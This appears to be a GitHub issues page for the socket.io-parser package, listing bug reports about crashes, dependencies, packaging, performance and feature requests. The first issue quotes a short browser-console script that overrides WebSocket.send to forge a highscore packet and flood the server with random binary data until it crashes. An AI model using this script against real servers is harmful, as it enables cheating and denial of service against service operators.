socketio / socket.io-parser Goto Github PK

I'm having issues with users trying to hack a highscore and them sending binary data through a webhook. It ends up crashing the server after some delay (10 sec to 1 min)

This is the code that can be used in the console. It seems to be needed to use a few times, unsure why.

WebSocket.prototype._send = WebSocket.prototype.send; 

WebSocket.prototype.send = function () {

    //send original websocket message
    this._send(...arguments);
    
    //hack score
    this._send('42["202","0"]');
    
    //send random packets to crash server
    var randomPacket = new Uint8Array(Math.floor(Math.random()*100));
    
    for (var i = 0 ; i  < randomPacket.length; i++) 
        randomPacket[i] = Math.floor(Math.random() * (0xff + 1));
        
    this._send(randomPacket);
}

This is where the crash is occuring:

The newer version of emitter doesn't have any dependencies. The older version however is dependant on the indexof module. Since emitter does not have .gitignore in its .npmignore file, this module is not pushed when using git to deploy to Heroku (and others alike). This causes the Heroku application to crash

What is the purpose of this dependency? I am seeking to reduce the size of my asset bundle, and the unminified size of json3 is ~ 39kB. Why not use the standard JSON.stringify / JSON.parse?

I have been trying to get to the bottom of a problem when socket.io-parser used by cypress is crashing when a large POST request is being made and operation times out. With a default responsetimeout of 30 seconds and upload size of 1MB, our dotnet core api endpoint is not responding in 30 seconds. After 30 seconds socket.io-parser crashes with the following callstack:

RangeError: Maximum call stack size exceeded
    at _deconstructPacket (C:\WINDOWS\system32\config\systemprofile\AppData\Local\Cypress\Cache\6.8.0\Cypress\resources\app\packages\socket\node_modules\socket.io-parser\dist\binary.js:21:28)
    at _deconstructPacket (C:\WINDOWS\system32\config\systemprofile\AppData\Local\Cypress\Cache\6.8.0\Cypress\resources\app\packages\socket\node_modules\socket.io-parser\dist\binary.js:40:32)
    at _deconstructPacket (C:\WINDOWS\system32\config\systemprofile\AppData\Local\Cypress\Cache\6.8.0\Cypress\resources\app\packages\socket\node_modules\socket.io-parser\dist\binary.js:40:32)
    at _deconstructPacket (C:\WINDOWS\system32\config\systemprofile\AppData\Local\Cypress\Cache\6.8.0\Cypress\resources\app\packages\socket\node_modules\socket.io-parser\dist\binary.js:40:32)

... (about 15200 lines omitted) ...

    at _deconstructPacket (C:\WINDOWS\system32\config\systemprofile\AppData\Local\Cypress\Cache\6.8.0\Cypress\resources\app\packages\socket\node_modules\socket.io-parser\dist\binary.js:40:32)
    at _deconstructPacket (C:\WINDOWS\system32\config\systemprofile\AppData\Local\Cypress\Cache\6.8.0\Cypress\resources\app\packages\socket\node_modules\socket.io-parser\dist\binary.js:40:32)
    at _deconstructPacket (C:\WINDOWS\system32\config\systemprofile\AppData\Local\Cypress\Cache\6.8.0\Cypress\resources\app\packages\socket\node_modules\socket.io-parser\dist\binary.js:32:26)
    at _deconstructPacket (C:\WINDOWS\system32\config\systemprofile\AppData\Local\Cypress\Cache\6.8.0\Cypress\resources\app\packages\socket\node_modules\socket.io-parser\dist\binary.js:40:32)
    at _deconstructPacket (C:\WINDOWS\system32\config\systemprofile\AppData\Local\Cypress\Cache\6.8.0\Cypress\resources\app\packages\socket\node_modules\socket.io-parser\dist\binary.js:40:32)
    at _deconstructPacket (C:\WINDOWS\system32\config\systemprofile\AppData\Local\Cypress\Cache\6.8.0\Cypress\resources\app\packages\socket\node_modules\socket.io-parser\dist\binary.js:40:32)
    at _deconstructPacket (C:\WINDOWS\system32\config\systemprofile\AppData\Local\Cypress\Cache\6.8.0\Cypress\resources\app\packages\socket\node_modules\socket.io-parser\dist\binary.js:40:32)
    at _deconstructPacket (C:\WINDOWS\system32\config\systemprofile\AppData\Local\Cypress\Cache\6.8.0\Cypress\resources\app\packages\socket\node_modules\socket.io-parser\dist\binary.js:40:32)
    at _deconstructPacket (C:\WINDOWS\system32\config\systemprofile\AppData\Local\Cypress\Cache\6.8.0\Cypress\resources\app\packages\socket\node_modules\socket.io-parser\dist\binary.js:40:32)
    at _deconstructPacket (C:\WINDOWS\system32\config\systemprofile\AppData\Local\Cypress\Cache\6.8.0\Cypress\resources\app\packages\socket\node_modules\socket.io-parser\dist\binary.js:32:26)
    at Object.deconstructPacket (C:\WINDOWS\system32\config\systemprofile\AppData\Local\Cypress\Cache\6.8.0\Cypress\resources\app\packages\socket\node_modules\socket.io-parser\dist\binary.js:16:17)
    at Encoder.encodeAsBinary (C:\WINDOWS\system32\config\systemprofile\AppData\Local\Cypress\Cache\6.8.0\Cypress\resources\app\packages\socket\node_modules\socket.io-parser\dist\index.js:81:41)
    at Encoder.encode (C:\WINDOWS\system32\config\systemprofile\AppData\Local\Cypress\Cache\6.8.0\Cypress\resources\app\packages\socket\node_modules\socket.io-parser\dist\index.js:43:29)
    at Client._packet (C:\WINDOWS\system32\config\systemprofile\AppData\Local\Cypress\Cache\6.8.0\Cypress\resources\app\packages\socket\node_modules\socket.io\dist\client.js:167:44)
    at Socket.packet (C:\WINDOWS\system32\config\systemprofile\AppData\Local\Cypress\Cache\6.8.0\Cypress\resources\app\packages\socket\node_modules\socket.io\dist\socket.js:161:21)
    at C:\WINDOWS\system32\config\systemprofile\AppData\Local\Cypress\Cache\6.8.0\Cypress\resources\app\packages\socket\node_modules\socket.io\dist\socket.js:270:18
    at C:\WINDOWS\system32\config\systemprofile\AppData\Local\Cypress\Cache\6.8.0\Cypress\resources\app\packages\server\lib\socket-base.js:312:28
    at tryCatcher (C:\WINDOWS\system32\config\systemprofile\AppData\Local\Cypress\Cache\6.8.0\Cypress\resources\app\packages\server\node_modules\bluebird\js\release\util.js:16:23)
    at Promise._settlePromiseFromHandler (C:\WINDOWS\system32\config\systemprofile\AppData\Local\Cypress\Cache\6.8.0\Cypress\resources\app\packages\server\node_modules\bluebird\js\release\promise.js:547:31)
    at Promise._settlePromise (C:\WINDOWS\system32\config\systemprofile\AppData\Local\Cypress\Cache\6.8.0\Cypress\resources\app\packages\server\node_modules\bluebird\js\release\promise.js:604:18)
    at Promise._settlePromise0 (C:\WINDOWS\system32\config\systemprofile\AppData\Local\Cypress\Cache\6.8.0\Cypress\resources\app\packages\server\node_modules\bluebird\js\release\promise.js:649:10)
    at Promise._settlePromises (C:\WINDOWS\system32\config\systemprofile\AppData\Local\Cypress\Cache\6.8.0\Cypress\resources\app\packages\server\node_modules\bluebird\js\release\promise.js:725:18)
    at _drainQueueStep (C:\WINDOWS\system32\config\systemprofile\AppData\Local\Cypress\Cache\6.8.0\Cypress\resources\app\packages\server\node_modules\bluebird\js\release\async.js:93:12)
    at _drainQueue (C:\WINDOWS\system32\config\systemprofile\AppData\Local\Cypress\Cache\6.8.0\Cypress\resources\app\packages\server\node_modules\bluebird\js\release\async.js:86:9)
    at Async._drainQueues (C:\WINDOWS\system32\config\systemprofile\AppData\Local\Cypress\Cache\6.8.0\Cypress\resources\app\packages\server\node_modules\bluebird\js\release\async.js:102:5)
    at Immediate.Async.drainQueues [as _onImmediate] (C:\WINDOWS\system32\config\systemprofile\AppData\Local\Cypress\Cache\6.8.0\Cypress\resources\app\packages\server\node_modules\bluebird\js\release\async.js:15:14)
    at processImmediate (internal/timers.js:456:21)

Is there anything myself or cypress team can do do investigate the reason behind the issue?

I may note that the request is just contents of CSV file and response is a simple JSON.

forgive me if I mistaken, but when publishing to NPM looks like node_modules from this project is being included:

60      ./socket.io-parser/node_modules/debug
40      ./socket.io-parser/node_modules/component-emitter
28      ./socket.io-parser/node_modules/ms
132     ./socket.io-parser/node_modules

the idea would be to add an .npmignore file in this project and add "node_modules" to that file and then publish to NPM, this way you don't include the unnecessary node_modules folder

let me know if maybe I wrong about something thanks!

encode uses has-binary2 to check if the given data is binary or not:

has-binary2 has a bunch of early exits if it does find binary data, but in the case where the input is not binary, it ends up recursively walking the entire object.

It would be nice if I could pass a flag through from socket.io to say "I already know this isn't binary, so don't even bother checking" to avoid this additional expense.

When installing ipfs :

warning ipfs > ipfs-core > libp2p-webrtc-star > socket.io > socket.io-parser > [email protected]: Debug versions >=3.2.0 <3.2.7 || 
>=4 <4.3.1 have a low-severity ReDos regression when used in a Node.js environment. It is recommended you upgrade to 3.2.7
or 4.3.1. (https://github.com/visionmedia/debug/issues/797)

• O.S.: Ubuntu 18.04.4. Desktop
• node: v14.5.0

👍 Hoping to see MIT

there's a giant gif in my node_modules for 2.2.4 :) I can't see it in the repo, else I'd have used package.json's files option to cut it out.

[email protected]/node_modules/socket.io-parser/build/cjs/index.d.ts (1,25): The current file is a CommonJS module whose imports will produce 'require' calls; however, the referenced file is an ECMAScript module and cannot be imported with 'require'. Consider writing a dynamic 'import("@socket.io/component-emitter")' call instead.

Hi!

Thank you so much for exposing both the SocketIO and EngineIO parsers! I have a feature proposal and I will open it in this repo but feel free to move it to where it makes more sense.

Proposal

Add two new methods called encodeMessage and decodeMessage.

// Takes the raw data and encodes it with both
// engine+socket encoding, producing an encoded
// packet string ready to be sent to a SocketIO server.
function encodeMessage(data: RawData) string

// Takes the encoded socket+engine message
// sent over WebSocket and returns the actual
// data sent in that message.
function decodeMessage(message: string): Array<RawData>

Motivation

I'm working on the WebSocket mocking support in MSW, and I'm finishing the WebSocket class interceptor right now. The interception will work on the WebSocket global class level, which means that the developer will receive encoded messages by SocketIO:

interceptor.on('connection', ({ client }) => {
  // This will fire on each outgoing client event.
  client.on('message', (event) => {
    // On the WebSocket class level, the "event.data"
    // will be the encoded string. Not nice!
    console.log(event.data) // "42["message","hello"]"
  })
})

What's needed here are precisely those two helper functions to help the developer read and write messages that will be understood by SocketIO:

client.on('message', (event) => {
  const data = decodeMessage(event.data)
  // ["hello"]

  if (data[0] === 'hello') {
    // The "server.send()" API is proprietary to the interceptor.
    server.send(encodeMessage('mocked hello'))
  }
})

Solutions I've tried

Well, right now I'm simply implementing those two functions using the socket.io-parser and engine.io-parser packages:

// encodeMessage.js
const encodeMessage = async (data) => {
  return new Promise((resolve) => {
    encodePacket(
      {
        type: 'message', // 4
        data: encoder.encode({
          type: 2,
          /**
           * @noto Not sure if prepending "message"
           * manually is correct. Either encoder doesn't
           * do that though.
           */
          data: ['message', data],
          nsp: '/',
        }),
      },
      true,
      (encodedEngineIoPacket) => {
        resolve(encodedEngineIoPacket)
      }
    )
  })
}

// decodeMessage.js
const decodeMessage = (
  // @ts-expect-error
  encodedEngineIoPacket
) => {
  const decodedEngineIoPacket = decodePacket(encodedEngineIoPacket)

  if (decodedEngineIoPacket.type !== 'message') {
    return
  }
  const decodedSocketIoPacket = decoder['decodeString'](
    decodedEngineIoPacket.data
  )

  if (decodedSocketIoPacket.type !== PacketType.EVENT) {
    return
  }

  return decodedSocketIoPacket.data.slice(1)
}

But I'd hate to ask developers to implement those. Moreover, these functions require some basic understanding of the parsers, their order of execution, and what 4 and 2 stand for in the encoded messages.

"Why don't you add this to your interceptor then?" Because MSW doesn't ship anything third-party-specific. This is a rule. This is a good rule. It has served us for years and it helps us maintain truly agnostic API mocking. I will not see that rule changed.

Thus, I propose these high-level utilities be added to the SocketIO natively. That way, developers would get first-class WebSocket mocking with the right level of convenience when it comes to working with SocketIO clients and servers.

Pull request

I would be willing to implement this change if you find it fitting. Please, let's discuss this and create a better experience for everyone!

Creating a message with the socket.io C++ client.

auto pMsg = sio::object_message::create();

pMsg->get_map()["a"] = sio::int_message::create(1);
pMsg->get_map()["b"] = sio::int_message::create(2);
std::string bufferAsString(
        (const char *)&(*buffer.begin()),
        (const char *)&(*buffer.end()));
pMsg->get_map()["data"] = sio::binary_message::create(std::make_shared<std::string>(bufferAsString));
    
pSocket->emit("BinaryMsg", pMsg);

When this gets parsed by the socket.io parser, the reconstructor object looks like this:

socket.io-parser Reconstructor: BinaryReconstructor {
  socket.io-parser   reconPack:
  socket.io-parser    { type: 5,
  socket.io-parser      attachments: 1,
  socket.io-parser      nsp: '/somens/0',
  socket.io-parser      data: [ 'BinaryMsg', [Object] ] },
  socket.io-parser   buffers: [] }

https://github.com/socketio/socket.io-parser/blob/master/index.js#L237

     // no attachments, labeled binary but no binary data to follow
      if (this.reconstructor.reconPack.attachments === 0) {
        this.emit('decoded', packet);
      }

evaluates to false, since there is one attachment.
However, no other part of the add function emits decoded, hence the packet is dropped.

is this intended ?

It seems that msgpack was removed by #3 on the ground that the new parser was faster and smaller.

Running the following gist, I get the following:

msgpackLite.length => 133
parser.length => 166

msgpackLite.length (binary) => 35
parser.length (binary) => 50
parser.length (binary) => 3

msgpack-lite x 49,976 ops/sec ±1.06% (85 runs sampled)
parser x 44,637 ops/sec ±4.90% (72 runs sampled)
notepack x 105,488 ops/sec ±2.15% (84 runs sampled)

msgpack-lite (binary) x 64,868 ops/sec ±3.30% (75 runs sampled)
parser (binary) x 36,382 ops/sec ±2.40% (57 runs sampled)
notepack (binary) x 155,922 ops/sec ±2.00% (85 runs sampled)

Is my benchmark somewhat flawed? Have I missed something?

cc @kevin-roark @rauchg

Also, as noted here, a binary message is currently encoded as (at least) two packets.

Hello, I keep getting this error when using the socket.io server.
It seems to be raised when I call the socket.emit function.

/app/node_modules/socket.io-parser/binary.js:99
 function _removeBlobs(obj, curKey, containingObject) {
                      ^
RangeError: Maximum call stack size exceeded
   at _removeBlobs (/app/node_modules/socket.io-parser/binary.js:99:24)
   at _removeBlobs (/app/node_modules/socket.io-parser/binary.js:130:9)
   at _removeBlobs (/app/node_modules/socket.io-parser/binary.js:130:9)
   at _removeBlobs (/app/node_modules/socket.io-parser/binary.js:126:9)
   at _removeBlobs (/app/node_modules/socket.io-parser/binary.js:130:9)
   at _removeBlobs (/app/node_modules/socket.io-parser/binary.js:130:9)
   at _removeBlobs (/app/node_modules/socket.io-parser/binary.js:130:9)
   at _removeBlobs (/app/node_modules/socket.io-parser/binary.js:126:9)
   at _removeBlobs (/app/node_modules/socket.io-parser/binary.js:130:9)
   at _removeBlobs (/app/node_modules/socket.io-parser/binary.js:126:9)

I am seeing this error:

 Error: Cannot find module 'has-binary2'
    at Function.Module._resolveFilename (module.js:485:15)
    at Function.Module._load (module.js:437:25)
    at Module.require (module.js:513:17)
    at require (internal/module.js:11:18)
    at Object.<anonymous> (/home/oleg/WebstormProjects/oresoftware/sumanjs/suman/node_modules/socket.io-parser/index.js:8:14)
    at Module._compile (module.js:569:30)
    at Object.Module._extensions..js (module.js:580:10)
    at Module.load (module.js:503:32)
    at tryModuleLoad (module.js:466:12)
    at Function.Module._load (module.js:458:3) 

I think it's coming from this lib

Currently there isn't any tests for blobs. We should add some.

Our profiling reveals that encodeAsBinary takes almost double the time as compared to encodeAsString for same data. Any ideas why is that and what can we do or what assumptions can we take to reduce this time?
Note: we use protobuf to convert our JSONs to binary.

Our socket.io configuration works okay when a one line message is received;

   
  engine handling "POST" http request "/socket.io/?transport=polling&sid=D4hHosMaFHKF2xZAAAAA" +0ms
  engine setting new request for existing client +1ms!
  engine:polling received "20:42["message","test"]" +0ms
  engine:socket packet +0ms
  socket.io-parser decoded 2["message","test"] as {"type":2,"nsp":"/","data":["message","test"]} +8.2m
  socket.io:socket got packet {"type":2,"nsp":"/","data":["message","test"]} +6m
  socket.io:socket emitting event ["message","test"] +0ms

But when a multiline message is send it looks like socket.io-parser can't decode the packet;

  engine handling "POST" http request "/socket.io/?transport=polling&sid=D4hHosMaFHKF2xZAAAAA" +0ms
  engine setting new request for existing client +0ms
  engine:polling received "27:42["message","test2
test3"]" +1ms
  engine:socket packet +0ms
  socket.io:client no socket for namespace undefined +1m

Any thoughts on how can I solve the issue?

Thank you

I am facing invalid payload issue which disconnects the socket session.

I am sending same data on socket after every second via c# application but it breaks after some time with invalid payload issue

kindly guide me on this

I am using socket.io v 4.2.0
socket.io-parser v 4.0.4

My Data
string pgnData = "{"metadata":[{"_ts":0,"PGN":126992,"PGN_Name":"System Time","data":[{"PropName":"Date","PropValue":"NA","Unit":null},{"PropName":"Time","PropValue":"NA","Unit":null}],"PropName":"Date","PropValue":"NA","Unit":null,"DroneData":{"DroneId":"11","Location":"Amsterdam"}},{"_ts":0,"PGN":129540,"PGN_Name":"GNSS Sats in View","data":[{"PropName":"Mode","PropValue":"Range residuals were calculated after the position","Unit":""},{"PropName":"Number Of SVs","PropValue":"0","Unit":""}],"PropName":"Number Of SVs","PropValue":"0","Unit":"","DroneData":{"DroneId":"11","Location":"Amsterdam"}},{"_ts":0,"PGN":127257,"PGN_Name":"Attitude","data":[{"PropName":"Yaw","PropValue":"NA","Unit":"rad"},{"PropName":"Pitch","PropValue":"NA","Unit":"rad"},{"PropName":"Roll","PropValue":"NA","Unit":"rad"}],"PropName":"Yaw","PropValue":"NA","Unit":"rad","DroneData":{"DroneId":"11","Location":"Amsterdam"}},{"_ts":0,"PGN":127251,"PGN_Name":"Rate Of Turn","data":[{"PropName":"Rate Of Turn","PropValue":"NA","Unit":"rad/s"}],"PropName":"Rate Of Turn","PropValue":"NA","Unit":"rad/s","DroneData":{"DroneId":"11","Location":"Amsterdam"}},{"_ts":0,"PGN":127250,"PGN_Name":"Vessel Heading","data":[{"PropName":"Heading Sensor Reading","PropValue":"1.3603","Unit":"rad"}],"PropName":"Heading Sensor Reading","PropValue":"1.3603","Unit":"rad","DroneData":{"DroneId":"11","Location":"Amsterdam"}},{"_ts":0,"PGN":128267,"PGN_Name":"Water Depth","data":[{"PropName":"Water Depth, Transducer","PropValue":"NA","Unit":"m"}],"PropName":"Water Depth, Transducer","PropValue":"NA","Unit":"m","DroneData":{"DroneId":"11","Location":"Amsterdam"}},{"_ts":0,"PGN":129025,"PGN_Name":"Position, Rapid Update","data":[{"PropName":"Latitude","PropValue":"NA","Unit":""},{"PropName":"Longitude","PropValue":"NA","Unit":""}],"PropName":"Longitude","PropValue":"NA","Unit":"","DroneData":{"DroneId":"11","Location":"Amsterdam"}},{"_ts":0,"PGN":129028,"PGN_Name":"Altitude Delta, High Precision Rapid Update","data":[{"PropName":"GNSS Quality","PropValue":"No GPS","Unit":""}],"PropName":"GNSS Quality","PropValue":"No GPS","Unit":"","DroneData":{"DroneId":"11","Location":"Amsterdam"}},{"_ts":0,"PGN":128259,"PGN_Name":"Speed Water Referenced","data":[{"PropName":"Speed Water Referenced","PropValue":"0","Unit":"m/s"},{"PropName":"Speed Direction","PropValue":"NA","Unit":null}],"PropName":"Speed Water Referenced","PropValue":"0","Unit":"m/s","DroneData":{"DroneId":"11","Location":"Amsterdam"}},{"_ts":0,"PGN":129026,"PGN_Name":"COG & SOG, Rapid Update","data":[{"PropName":"Course Over Ground","PropValue":"NA","Unit":"rad"},{"PropName":"Speed Over Ground","PropValue":"NA","Unit":"m/s"}],"PropName":"Course Over Ground","PropValue":"NA","Unit":"rad","DroneData":{"DroneId":"11","Location":"Amsterdam"}},{"_ts":0,"PGN":130311,"PGN_Name":"Environmental Parameters","data":[{"PropName":"Temperature","PropValue":"20.7","Unit":"°C"},{"PropName":"Humidity","PropValue":"NA","Unit":"%"},{"PropName":"Atmospheric Pressure","PropValue":"NA","Unit":"Pa"}],"PropName":"Temperature","PropValue":"20.7","Unit":"°C","DroneData":{"DroneId":"11","Location":"Amsterdam"}},{"_ts":0,"PGN":128275,"PGN_Name":"Distance Log","data":[{"PropName":"Distance Since Last Reset","PropValue":"978131","Unit":"m"},{"PropName":"Total Cumulative Distance","PropValue":"978131","Unit":"m"}],"PropName":"Distance Since Last Reset","PropValue":"978131","Unit":"m","DroneData":{"DroneId":"11","Location":"Amsterdam"}},{"_ts":0,"PGN":1275080,"PGN_Name":"Battery Status 0","data":[{"PropName":"Battery Current","PropValue":"10.6","Unit":"A"},{"PropName":"Battery Voltage","PropValue":"54.92","Unit":"V"},{"PropName":"Battery Case Temperature","PropValue":"25","Unit":"°C"}],"PropName":"Battery Current","PropValue":"10.6","Unit":"A","DroneData":{"DroneId":"11","Location":"Amsterdam"}},{"_ts":0,"PGN":1275081,"PGN_Name":"Battery Status 1","data":[{"PropName":"Battery Current","PropValue":"NA","Unit":"A"},{"PropName":"Battery Voltage","PropValue":"3.88","Unit":"V"},{"PropName":"Battery Case Temperature","PropValue":"21","Unit":"°C"}],"PropName":"Battery Current","PropValue":"NA","Unit":"A","DroneData":{"DroneId":"11","Location":"Amsterdam"}},{"_ts":0,"PGN":1275082,"PGN_Name":"Battery Status 2","data":[{"PropName":"Battery Current","PropValue":"NA","Unit":"A"},{"PropName":"Battery Voltage","PropValue":"3.93","Unit":"V"},{"PropName":"Battery Case Temperature","PropValue":"25","Unit":"°C"}],"PropName":"Battery Current","PropValue":"NA","Unit":"A","DroneData":{"DroneId":"11","Location":"Amsterdam"}},{"_ts":0,"PGN":127506,"PGN_Name":"DC Detailed Status","data":[{"PropName":"State Of Charge","PropValue":"82","Unit":"%"},{"PropName":"State Of Health","PropValue":"NA","Unit":"%"},{"PropName":"Time Remaining","PropValue":"11641","Unit":"min"},{"PropName":"Amp Hours","PropValue":"190800","Unit":"C"}],"PropName":"State Of Charge","PropValue":"82","Unit":"%","DroneData":{"DroneId":"11","Location":"Amsterdam"}},{"_ts":0,"PGN":129029,"PGN_Name":"GNSS Position Data","data":[{"PropName":"Method, GNSS","PropValue":"No GPS","Unit":""},{"PropName":"Number Of Reference Stations","PropValue":"0","Unit":""}],"PropName":"Method, GNSS","PropValue":"No GPS","Unit":"","DroneData":{"DroneId":"11","Location":"Amsterdam"}}],"type":"pgn-data","vesselId":11,"surveyId":0,"token":"/zSReOFi5NW5Vq34BDICHGIPyTHj9MrwIsO2NB8gE0wkX5kXyA"}";
ws.EmitAsync(EVENT_WEBSOCKET_COMMUNICATION, pgnData);

server:
const data = {created: new Date()};
socket.emit('event', data);

client:
socket.on('event', (data) => {
  console.log(data);
  //print -> "created":{"buffer":{"type":"Buffer","data":[0,0,1,95,72,191,181,7]}
})

[email protected]
[email protected]
[email protected]

wget (npm info --json socket.io-parser | jq -r '.dist.tarball')
tar --extract --file=socket.io-parser-2.2.4.tgz package/bg.gif
file package/bg.gif
$> package/bg.gif: GIF image data, version 89a, 640 x 420
du -sh package/bg.gif
$> 1.2M package/bg.gif

It does not appear like this is part of the repo, so maybe this a accidentally included file during packaging.

Describe the bug
While scanning my node.js application's manifest file using Vulert.com for vulnerability checks, I identified an issue associated with your package.

Reference
Upon conducting a vulnerability scan, the following references were identified:
Vulert Scan Report: Vulert Report
CVE Reference: CVE-2023-32695

Ideally this package should follow socketio/socket.io-client and also depend on has-binary2 which has been patched for this issue. Otherwise a patch is discussed that may be suitable.

See discussion in socketio/socket.io-client#1166 and socketio/socket.io-client#1206.

Is this default parser (socket.io-parser) interoperable with socket.io-json-parser, assuming no binary data items (e.g. files, Blobs, etc.) are included in the messages? I can't find any mention of interoperability—or lack thereof—between the parsers in the documentation.

My Use Case

I have existing systems deployed with the default parser because I did not notice that alternate, more optimized parsers existed. Now that I do, I would like to update my socket.io configuration to use the optimized JSON parser. However, as new deployments will need to continue to interoperate with older systems, I need to know if the JSON parser and the default parser can interoperate (again, assuming no binary data is involved).

Related: socketio/socket.io-json-parser#1

As described here, currently:

socket.send('hello', new Buffer('1234'));
// results in the following packet
var packet = {
  type: 5,
  data: ['hello', <buffer>],
  nsp: '/',
  // id: <id> (if used with an acknowledgement)
};
// that gets encoded as two packets by socket.io-parser
[
  encodeAsString(packetWithoutBuffer),
  <buffer> 
]

The thing is, those two packets are sent as two different frames (here), which isn't really efficient (even if a websocket emit does not need a new TCP handshake).

One possible solution would be to concatenate those two packets in one buffer:

var stringPacket = encodeAsString(packetWithoutBuffer);
<stringPacket length><stringPacket as buffer><buffer> 

Yet that would be a breaking change, and a special case when handling binary data.

Related:

• #60: execution time for encodeAsBinary
• socketio/socket.io#2444: Getting three frames instead of two between client/server
• socketio/socket.io#2646: 358 bytes payload takes almost double mobile traffic

When running npm run serve I get this warning:

54% building 372/407 modules 35 active /home/cesar/projects/node/myproject/client/node_modules/socket.io-parser/dist/binary.js[@vue/compiler-sfc] the >>> and /deep/ combinators have been deprecated. Use :deep() instead

I have version 3.1.0

In index.js, if there's an error decoding a message for whatever reason (e.g. malformed JSON), then the method error() will be called, returning:

function error() {
  return {
    type: exports.ERROR,
    data: 'parser error'
  };
}

However, when it eventually gets to Socket, the message will be ignored as the nsp property doesn't matched (as it's not set):

Socket.prototype.onpacket = function (packet) {
  if (packet.nsp !== this.nsp) return;

Is this an oversight, or is there a way to get this event (emit it on the default namespace?)? From what I can tell Manager doesn't have a generic error event

Is your feature request related to a problem? Please describe.
It is related with a missing feature from the suggested msgpack library socket.io-msgpack-parser. Notepack.io that is used under the hood, is not excluding undefined json values, nor does it support encoding and decoding options.

Describe the solution you'd like
Based on this we evaluated other alternatives to replace notepack.io and we found that there is an official lib from msgpack that offers such features msgpack-javascript. So we created a library similar to socket.io-msgpack-parser that under the hood uses msgpack-javascript

This lib is socket.io-msgpack-javascript.

If you believe that this is something that could prove helpful to other socket.io users you could possibly mention it in your documentation files.

Describe alternatives you've considered
-

Additional context
npm socket.io-msgpack-javascript
github socket.io-msgpack-javascript

npm install -g [email protected]

npm ERR! fetch failed http://github.com/component/emitter/archive/1.0.1.tar.gz
npm WARN retry will retry, error on last attempt: Error: read ECONNRESET
npm ERR! fetch failed http://github.com/component/emitter/archive/1.0.1.tar.gz
npm WARN retry will retry, error on last attempt: Error: read ECONNRESET

the protocol section of the url should be 'https' , not 'http'

Hi, I'm debugging a web application that uses socket.io.
It sends binary message and I'd like to decode them.
Here an example:

• Base64: hKR0eXBlAqRkYXRhkqFtks0CdMtAf48AAAAAAKdvcHRpb25zgahjb21wcmVzc8OjbnNwoS8=
• UTF-8: type�datam�u@�?optionscompressãnsp/

That's what I've tried:

var parser = require('socket.io-parser');
var decoder = new parser.Decoder();
var b64string = "hKR0eXBlAqRkYXRhkqFtks0CdMtAf48AAAAAAKdvcHRpb25zgahjb21wcmVzc8OjbnNwoS8="
var buf = Buffer.from(b64string, 'base64');
decoder.on('decoded', function(decodedPacket) {
	console.log(decodedPacket)
});

decoder.add(buf);

It returns the following error: "Error: got binary data when not reconstructing a packet"

$ npm ls socket.io-parser
[email protected] D:\github\NodeBB
├─┬ [email protected]
│ └── [email protected]
└─┬ [email protected]
  └── [email protected] deduped

Getting below error on version 4.2.3, was fine on 4.2.1

.Missing error handler on `socket`.
Error: invalid payload
    at Decoder.decodeString (D:\github\NodeBB\node_modules\socket.io-parser\build\cjs\index.js:223:23)
    at Decoder.add (D:\github\NodeBB\node_modules\socket.io-parser\build\cjs\index.js:126:27)        
    at Client.ondata (D:\github\NodeBB\node_modules\socket.io\dist\client.js:182:26)
    at Socket.emit (node:events:513:28)
    at Socket.onPacket (D:\github\NodeBB\node_modules\engine.io\build\socket.js:116:22)
    at WebSocket.emit (node:events:513:28)
    at WebSocket.onPacket (D:\github\NodeBB\node_modules\engine.io\build\transport.js:92:14)
    at WebSocket.onData (D:\github\NodeBB\node_modules\engine.io\build\transport.js:101:14)
    at WebSocket.<anonymous> (D:\github\NodeBB\node_modules\engine.io\build\transports\websocket.js:20:19)
    at WebSocket.emit (node:events:513:28)
    at Receiver.receiverOnMessage (D:\github\NodeBB\node_modules\engine.io\node_modules\ws\lib\websocket.js:1178:20)
    at Receiver.emit (node:events:513:28)
    at Receiver.dataMessage (D:\github\NodeBB\node_modules\engine.io\node_modules\ws\lib\receiver.js:528:14)
    at Receiver.getData (D:\github\NodeBB\node_modules\engine.io\node_modules\ws\lib\receiver.js:446:17)
    at Receiver.startLoop (D:\github\NodeBB\node_modules\engine.io\node_modules\ws\lib\receiver.js:148:22)
    at Receiver._write (D:\github\NodeBB\node_modules\engine.io\node_modules\ws\lib\receiver.js:83:10)
    at writeOrBuffer (node:internal/streams/writable:392:12)
    at _write (node:internal/streams/writable:333:10)
    at Writable.write (node:internal/streams/writable:337:10)
    at Socket.socketOnData (D:\github\NodeBB\node_modules\engine.io\node_modules\ws\lib\websocket.js:1272:35)
    at Socket.emit (node:events:513:28)
    at addChunk (node:internal/streams/readable:324:12)
    at readableAddChunk (node:internal/streams/readable:297:9)
    at Readable.push (node:internal/streams/readable:234:10)
    at TCP.onStreamRead (node:internal/stream_base_commons:190:23)
    at TCP.callbackTrampoline (node:internal/async_hooks:130:17)

When installing the latest versions of socket.io, there is a deprecation warning since the isarray package has been deprecated.

Is there any reason to not just use Array.isArray ?

At least drop support for node < 4 and some ie version... i still see ie6 in travis... comon it's dead

How can I use it on a html page?